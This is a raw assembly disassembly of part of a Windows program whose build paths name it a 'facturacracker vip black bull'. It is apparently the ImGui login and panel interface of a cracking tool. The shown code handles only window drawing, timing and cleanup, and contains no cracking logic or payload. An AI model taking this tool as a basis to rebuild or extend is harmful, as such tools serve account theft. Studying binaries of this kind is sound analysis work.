cmp byte [rsp + 0x68], 0
je 0x140069683
test r9b, r9b
jmp 0x140069673
cmp eax, 4
jne 0x14006960d
cmp byte [rsp + 0x6c], 0
je 0x140069683
test r10b, r10b
jmp 0x140069673
cmp eax, 5
jne 0x14006961e
cmp byte [rsp + 0x70], 0
je 0x140069683
test r11b, r11b
jmp 0x140069673
cmp eax, 6
jne 0x14006962f
cmp byte [rsp + 0x74], 0
je 0x140069683
test sil, sil
jmp 0x140069673
cmp eax, 7
jne 0x140069640
cmp byte [rsp + 0x78], 0
je 0x140069683
test r14b, r14b
jmp 0x140069673
cmp eax, 8
jne 0x140069651
cmp byte [rsp + 0x7c], 0
je 0x140069683
test r15b, r15b
jmp 0x140069673
cmp eax, 9
jne 0x140069661
cmp byte [rbp - 0x80], 0
je 0x140069683
test r12b, r12b
jmp 0x140069673
cmp eax, 0xa
jne 0x140069683
cmp byte [rbp - 0x68], 0
je 0x140069683
cmp byte [0x1405ab07f], 0
jne 0x140069683
cmp byte [0x1405ab16e], 0
sete byte [0x1405ab16e]
cmp dword [0x1405ccb48], 0
mov byte [0x1405ab19c], cl
mov ecx, dword [rsp + 0x68]
mov byte [0x1405ab15c], cl
mov ecx, dword [rsp + 0x6c]
mov byte [0x1405ab09f], cl
mov ecx, dword [rsp + 0x70]
mov byte [0x1405ab160], cl
mov ecx, dword [rsp + 0x74]
mov byte [0x1405ab14f], cl
mov ecx, dword [rsp + 0x78]
mov byte [0x1405ab07c], cl
mov ecx, dword [rsp + 0x7c]
mov byte [0x1405ab09c], cl
mov ecx, dword [rbp - 0x80]
mov byte [0x1405ab15d], cl
mov ecx, dword [rbp - 0x68]
mov byte [0x1405ab07f], cl
mov byte [0x1405ab07b], r13b
je 0x140069738
cmp dword [0x1405d0c88], 0
je 0x140069738
call fcn.140070350
mov rcx, qword [0x1405e1020]
xor r13d, r13d
mov r9d, dword [0x1405d0c88]
xor edx, edx
mov r8d, dword [0x1405ccb48]
mov dword [rsp + 0x28], r13d
mov rax, qword [rcx]
mov dword [rsp + 0x20], r13d
mov r10, qword [rax + 0x68]
call r10
mov dword [0x1405d0c88], r13d
mov dword [0x1405ccb48], r13d
call fcn.140070300
jmp 0x14006973b
xor r13d, r13d
mov rsi, qword [0x1405ab080]
test rsi, rsi
je 0x140069755
mov rsi, qword [rsi + 0xa0]
test rsi, rsi
jne 0x140069772
jmp 0x140069758
mov rsi, r13
mov r8d, 0x251
lea rdx, str.C:UserscrackOneDriveEscritorioimgui_facturacracker_vip_black_bullimgui_facturacracker_vip_black_bull_backendsimgui_impl_dx11.cpp
lea rcx, str.bd___nullptr___Did_you_call_ImGui_ImplDX11_Init____
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
cmp qword [rsi + 0x48], 0
jne 0x14006977e
call fcn.140052940
call fcn.140053d30
call fcn.140009440
mov r15, qword [0x1405ab080]
mov qword [rbp - 0x68], r15
test r15, r15
jne 0x1400697bd
mov r8d, 0xba4
lea rdx, str.C:UserscrackOneDriveEscritorioimgui_facturacracker_vip_black_bullimgui_facturacracker_vip_black_bullimgui.cpp
lea rcx, str.GImGui___0___No_current_context._Did_you_call_ImGui::CreateContext___and_ImGui::SetCurrentContext_____
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov r15, qword [0x1405ab080]
mov qword [rbp - 0x68], r15
movss xmm10, dword [0x14017dfa0]
movaps xmm0, xmm11
unpcklps xmm0, xmm11
movsd qword [r15 + 0x37d8], xmm0
movaps xmm0, xmm10
mov dword [r15 + 0x37e4], r13d
unpcklps xmm0, xmm10
movsd qword [r15 + 0x381c], xmm0
mov dword [r15 + 0x3844], 0x41000000
mov rsi, qword [0x1405ab080]
mov rax, qword [rsi + 0x3ef8]
mov byte [rax + 0xb8], 1
cmp dword [rsi + 0x48c8], 0
jg 0x140069832
mov r8d, 0x715
lea rdx, str.C:UserscrackOneDriveEscritorioimgui_facturacracker_vip_black_bullimgui_facturacracker_vip_black_bullimgui.h
lea rcx, str.i___0__i___Size
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov rax, qword [rsi + 0x48d0]
lea r8, str.Foreground
mov r12d, 1
mov edx, r12d
mov rcx, qword [rax]
call fcn.140008b50
mov rax, qword [0x1405ab080]
or dword [rax + 0x47d0], 2
movsd xmm0, qword [0x1405aa278]
movsd qword [rax + 0x47f0], xmm0
mov dword [rax + 0x47d8], r12d
cmp byte [0x1405ab07a], 0
jne 0x14006b15a
call fcn.140063430
xor edx, edx
lea rcx, str.LOGGIN
mov r8d, 0x30ab
call fcn.140010110
call fcn.140062710
mov rcx, qword [0x1405ab080]
movss xmm7, dword [0x14017e008]
mov rax, qword [rcx + 0x3ef8]
mov byte [rax + 0xb8], r12b
mov rax, qword [rcx + 0x3ef8]
movss xmm0, dword [rax + 0x20]
movss xmm1, dword [rax + 0x24]
subss xmm0, dword [rax + 0x84]
subss xmm1, dword [rax + 0x88]
addss xmm0, dword [0x14017e05c]
addss xmm1, xmm7
unpcklps xmm0, xmm1
movsd qword [rax + 0x100], xmm0
mov byte [rax + 0x141], r12b
test rcx, rcx
jne 0x14006991c
mov r8d, 0x1033
lea rdx, str.C:UserscrackOneDriveEscritorioimgui_facturacracker_vip_black_bullimgui_facturacracker_vip_black_bullimgui.cpp
lea rcx, str.GImGui___0___No_current_context._Did_you_call_ImGui::CreateContext___and_ImGui::SetCurrentContext_____
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov rsi, qword [0x1405ab080]
mov rax, qword [rsi + 0x3ef8]
movsd xmm0, qword [rax + 0x20]
mov byte [rax + 0xb8], r12b
cmp dword [rsi + 0x48c8], 0
mov rax, qword [rsi + 0x3ef8]
movsd qword [rbp + 0x560], xmm0
mov r13, qword [rax + 0x298]
jg 0x14006996f
mov r8d, 0x715
lea rdx, str.C:UserscrackOneDriveEscritorioimgui_facturacracker_vip_black_bullimgui_facturacracker_vip_black_bullimgui.h
lea rcx, str.i___0__i___Size
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov rax, qword [rsi + 0x48d0]
lea r8, str.Foreground
mov rdx, r12
mov rcx, qword [rax]
call fcn.140008b50
movss xmm0, dword [0x1405e1054]
ucomiss xmm0, xmm11
jp 0x1400699b0
jne 0x1400699b0
call qword [sym.imp.KERNEL32.dll_GetTickCount]
mov eax, eax
xorps xmm0, xmm0
cvtsi2ss xmm0, rax
movss dword [0x1405e1054], xmm0
call qword [sym.imp.KERNEL32.dll_GetTickCount]
movss xmm0, dword [0x1405e1054]
xorps xmm1, xmm1
addss xmm0, dword [0x14017df8c]
mov eax, eax
cvtsi2ss xmm1, rax
comiss xmm1, xmm0
jbe 0x140069a78
cmp byte [reloc.WS2_32.dll_accept], 0
movss xmm1, dword [0x1405e16b8]
je 0x140069a2e
movss xmm6, dword [0x14017ded0]
comiss xmm6, xmm1
jbe 0x140069a20
call fcn.140008b10
movss xmm1, dword [0x1405e16b8]
movaps xmm0, xmm9
divss xmm0, dword [rax + 0xd8]
mulss xmm0, xmm7
addss xmm1, xmm0
movss dword [0x1405e16b8], xmm1
comiss xmm1, xmm6
jb 0x140069a6e
comiss xmm1, xmm11
jbe 0x140069a61
call fcn.140008b10
movss xmm1, dword [0x1405e16b8]
movaps xmm0, xmm9
divss xmm0, dword [rax + 0xd8]
mulss xmm0, dword [0x14017e000]
subss xmm1, xmm0
movss dword [0x1405e16b8], xmm1
comiss xmm11, xmm1
jb 0x140069a6e
mov r14, qword [rbp + 0x58]
lea rdx, [rbp + 0x78]
mov rcx, r14
mov qword [rbp + 0x520], 0
call qword [sym.imp.USER32.dll_GetWindowRect]
mov rsi, qword [0x1405ab080]
mov rax, qword [rsi + 0x3ef8]
movss xmm2, dword [rax + 0x20]
ucomiss xmm2, xmm11
jp 0x140069abc
jne 0x140069abc
movss xmm0, dword [rax + 0x24]
ucomiss xmm0, xmm11
jp 0x140069abc
movd xmm0, dword [rbp + 0x7c]
mov r9d, 0x3de
movd xmm1, dword [rbp + 0x78]
mov rcx, r14
cvtdq2ps xmm0, xmm0
mov dword [rsp + 0x28], r12d
mov dword [rsp + 0x20], 0x2bc
cvtdq2ps xmm1, xmm1
addss xmm0, dword [rax + 0x24]
addss xmm1, xmm2
cvttss2si r8d, xmm0
cvttss2si edx, xmm1
call qword [sym.imp.USER32.dll_MoveWindow]
mov rax, qword [0x1405ab080]
lea rdx, [rbp + 0x4d0]
mov qword [rbp + 0x4d0], 0
xor r8d, r8d
mov rcx, qword [rax + 0x3ef8]
call fcn.140013d90
mov rsi, qword [0x1405ab080]
mov rax, qword [rsi + 0x3ef8]
cmp qword [rax + 0x1a8], 0
movss xmm7, dword [rax + 0x254]
movss xmm0, dword [rax + 0x20]
movss xmm6, dword [rax + 0x250]
subss xmm7, dword [rax + 0x24]
subss xmm6, xmm0
jne 0x140069b62
cmp qword [rsi + 0x4b38], 0
je 0x140069b6e
movss xmm6, dword [rax + 0x220]
subss xmm6, xmm0
cmp dword [rsi + 0x48c8], 0
jg 0x140069b91
lea rcx, [rbp + 0x1478]
call qword [sym.imp.KERNEL32.dll_GetLocalTime]
cmp byte [0x1405ab07a], 0
je 0x14006fe4a
xor edx, edx
lea rcx, str.PANEL
mov r8d, 0x30ab
call fcn.140010110
mov rsi, qword [0x1405ab080]
test rsi, rsi
jne 0x14006b1b5
mov r8d, 0x1033
lea rdx, str.C:UserscrackOneDriveEscritorioimgui_facturacracker_vip_black_bullimgui_facturacracker_vip_black_bullimgui.cpp
lea rcx, str.GImGui___0___No_current_context._Did_you_call_ImGui::CreateContext___and_ImGui::SetCurrentContext_____
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov rsi, qword [0x1405ab080]
mov rax, qword [rsi + 0x3ef8]
mov byte [rax + 0xb8], 1
cmp dword [rsi + 0x48c8], 0
jg 0x14006b1e6
mov r8d, 0x715
lea rdx, str.C:UserscrackOneDriveEscritorioimgui_facturacracker_vip_black_bullimgui_facturacracker_vip_black_bullimgui.h
lea rcx, str.i___0__i___Size
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov rax, qword [rsi + 0x48d0]
lea r8, str.Foreground
mov rdx, r12
mov rcx, qword [rax]
call fcn.140008b50
movss xmm0, dword [0x1405e16b4]
ucomiss xmm0, xmm11
jp 0x14006b227
jne 0x14006b227
call qword [sym.imp.KERNEL32.dll_GetTickCount]
mov eax, eax
xorps xmm0, xmm0
cvtsi2ss xmm0, rax
movss dword [0x1405e16b4], xmm0
call qword [sym.imp.KERNEL32.dll_GetTickCount]
movss xmm0, dword [0x1405e16b4]
xorps xmm1, xmm1
addss xmm0, dword [0x14017df8c]
mov eax, eax
cvtsi2ss xmm1, rax
comiss xmm1, xmm0
jbe 0x14006b2fa
cmp byte [reloc.WS2_32.dll_accept], 0
movss xmm1, dword [0x1405e1058]
je 0x14006b2b0
movss xmm9, dword [0x14017ded0]
comiss xmm9, xmm1
jbe 0x14006b2a1
comiss xmm1, xmm11
jbe 0x14006b2e3
mov rcx, qword [0x1405ab080]
mov rax, qword [rcx + 0x3ef8]
mov byte [rax + 0xb8], 1
mov rax, qword [rcx + 0x3ef8]
movss xmm0, dword [rax + 0x20]
movss xmm1, dword [rax + 0x24]
subss xmm0, dword [rax + 0x84]
subss xmm1, dword [rax + 0x88]
addss xmm0, dword [0x14017e0a0]
addss xmm1, dword [0x14017df34]
unpcklps xmm0, xmm1
movsd qword [rax + 0x100], xmm0
mov byte [rax + 0x141], 1
test rcx, rcx
jne 0x14006b371
mov r8d, 0xba4
lea rdx, str.C:UserscrackOneDriveEscritorioimgui_facturacracker_vip_black_bullimgui_facturacracker_vip_black_bullimgui.cpp
lea rcx, str.GImGui___0___No_current_context._Did_you_call_ImGui::CreateContext___and_ImGui::SetCurrentContext_____
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
mov rcx, qword [0x1405ab288]
mov r14, qword [0x1405ab080]
mov rsi, rcx
mov qword [rbp - 0x80], rcx
test rcx, rcx
jne 0x14006b3d7
call fcn.14000bc90
mov rcx, qword [0x1405e1038]
lea r8, [0x1405e1018]
xorps xmm0, xmm0
mov r12d, 1
movups xmmword [rbp + 0xe20], xmm0
xor r9d, r9d
mov edx, r12d
mov rax, qword [rcx]
call qword [rax + 0x108]
mov rcx, qword [0x1405e1038]
lea r8, [rbp + 0xe20]
mov rdx, qword [0x1405e1018]
mov rax, qword [rcx]
call qword [rax + 0x190]
mov rsi, qword [0x1405ab080]
cmp dword [rsi + 0x48c8], 0
jg 0x14006fec4
mov r8d, 0x715
lea rdx, str.C:UserscrackOneDriveEscritorioimgui_facturacracker_vip_black_bullimgui_facturacracker_vip_black_bullimgui.h
lea rcx, str.i___0__i___Size
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov rax, qword [rsi + 0x48d0]
mov rcx, qword [rax]
mov rax, r13
add rcx, 0x48
cmp byte [rcx], 0
cmovne rax, rcx
mov rcx, rax
call fcn.140051ec0
mov rcx, qword [0x1405e1020]
xor r8d, r8d
mov edx, r12d
mov rax, qword [rcx]
call qword [rax + 0x40]
mov esi, dword [rbp + 0x24]
jmp 0x1400688d6
mov rbx, qword [0x1405ab080]
test rbx, rbx
je 0x14006ff19
mov rdi, qword [rbx + 0xa0]
test rdi, rdi
jne 0x14006ff3d
jmp 0x14006ff1c
mov rdi, r13
mov r8d, 0x241
lea rdx, str.C:UserscrackOneDriveEscritorioimgui_facturacracker_vip_black_bullimgui_facturacracker_vip_black_bull_backendsimgui_impl_dx11.cpp
lea rcx, str.bd___nullptr___No_renderer_backend_to_shutdown__or_already_shutdown__
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov rbx, qword [0x1405ab080]
test rbx, rbx
jne 0x14006ff63
mov r8d, 0x1033
lea rdx, str.C:UserscrackOneDriveEscritorioimgui_facturacracker_vip_black_bullimgui_facturacracker_vip_black_bullimgui.cpp
lea rcx, str.GImGui___0___No_current_context._Did_you_call_ImGui::CreateContext___and_ImGui::SetCurrentContext_____
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov rbx, qword [0x1405ab080]
call fcn.140052e70
mov rcx, qword [rdi + 0x10]
test rcx, rcx
je 0x14006ff77
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_recv]
mov rcx, qword [rdi]
test rcx, rcx
je 0x14006ff85
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_recv]
mov rcx, qword [rdi + 8]
test rcx, rcx
je 0x14006ff94
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_recv]
mov qword [rbx + 0x90], r13
mov qword [rbx + 0xa0], r13
and dword [rbx + 0xc], 0xfffffff7
mov rax, qword [0x1405ab080]
test rax, rax
je 0x14006ffb8
dec dword [rax + 0xf4]
mov rcx, rdi
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
mov rbx, qword [0x1405ab080]
test rbx, rbx
je 0x14006ffdb
mov rdi, qword [rbx + 0x98]
test rdi, rdi
jne 0x14006ffff
jmp 0x14006ffde
mov rdi, r13
mov r8d, 0xb7
lea rdx, str.C:UserscrackOneDriveEscritorioimgui_facturacracker_vip_black_bullimgui_facturacracker_vip_black_bull_backendsimgui_impl_win32.cpp
lea rcx, str.bd___nullptr___No_platform_backend_to_shutdown__or_already_shutdown__
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov rbx, qword [0x1405ab080]
test rbx, rbx
jne 0x140070025
mov r8d, 0x1033
lea rdx, str.C:UserscrackOneDriveEscritorioimgui_facturacracker_vip_black_bullimgui_facturacracker_vip_black_bullimgui.cpp
lea rcx, str.GImGui___0___No_current_context._Did_you_call_ImGui::CreateContext___and_ImGui::SetCurrentContext_____
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov rbx, qword [0x1405ab080]
mov rcx, qword [rdi + 0x30]
test rcx, rcx
je 0x140070034
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
mov qword [rbx + 0x88], r13
mov qword [rbx + 0x98], r13
and dword [rbx + 0xc], 0xfffffff8
mov rax, qword [0x1405ab080]
test rax, rax
je 0x140070058
dec dword [rax + 0xf4]
mov rcx, rdi
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
mov rbx, qword [0x1405ab080]
mov qword [0x1405ab080], rbx
call fcn.140006f10
mov qword [0x1405ab080], r13
test rbx, rbx
je 0x1400700a3
mov rcx, rbx
call fcn.140022070
mov rax, qword [0x1405ab080]
test rax, rax
je 0x14007009a
dec dword [rax + 0xf4]
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
call fcn.140070280
mov rcx, qword [rbp + 0x58]
call qword [sym.imp.USER32.dll_DestroyWindow]
mov rdx, qword [rbp + 0x888]
mov rcx, qword [rbp + 0x8b0]
call qword [sym.imp.USER32.dll_UnregisterClassW]
xor eax, eax
movaps xmm14, xmmword [rsp + 0xdf60]
movaps xmm13, xmmword [rsp + 0xdf70]
movaps xmm12, xmmword [rsp + 0xdf80]
movaps xmm11, xmmword [rsp + 0xdf90]
movaps xmm10, xmmword [rsp + 0xdfa0]
movaps xmm9, xmmword [rsp + 0xdfb0]
movaps xmm8, xmmword [rsp + 0xdfc0]
movaps xmm7, xmmword [rsp + 0xdfd0]
movaps xmm6, xmmword [rsp + 0xdfe0]
mov r15, qword [rsp + 0xdff0]
mov r13, qword [rsp + 0xdff8]
movaps xmm15, xmmword [rsp + 0xdf50]
mov r12, qword [rsp + 0xe030]
mov rsi, qword [rsp + 0xe020]
mov rdi, qword [rsp + 0xe028]
add rsp, 0xe000
pop r14
pop rbx
pop rbp
ret
mov ecx, 6
mov dword [rbp + 0x4e8], esi
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
int3
mov ecx, 6
mov dword [rbp + 0x4f8], esi
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
int3
mov ecx, 6
mov dword [rbp + 0x508], esi
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
int3
call fcn.140070280
mov rdx, qword [rbp + 0x888]
mov rcx, qword [rbp + 0x8b0]
call qword [sym.imp.USER32.dll_UnregisterClassW]
mov eax, r12d
jmp 0x1400700c8
mov r12d, 1
mov ecx, r12d
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
int3
mov ecx, 6
mov dword [rbp + 0x518], r14d
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
int3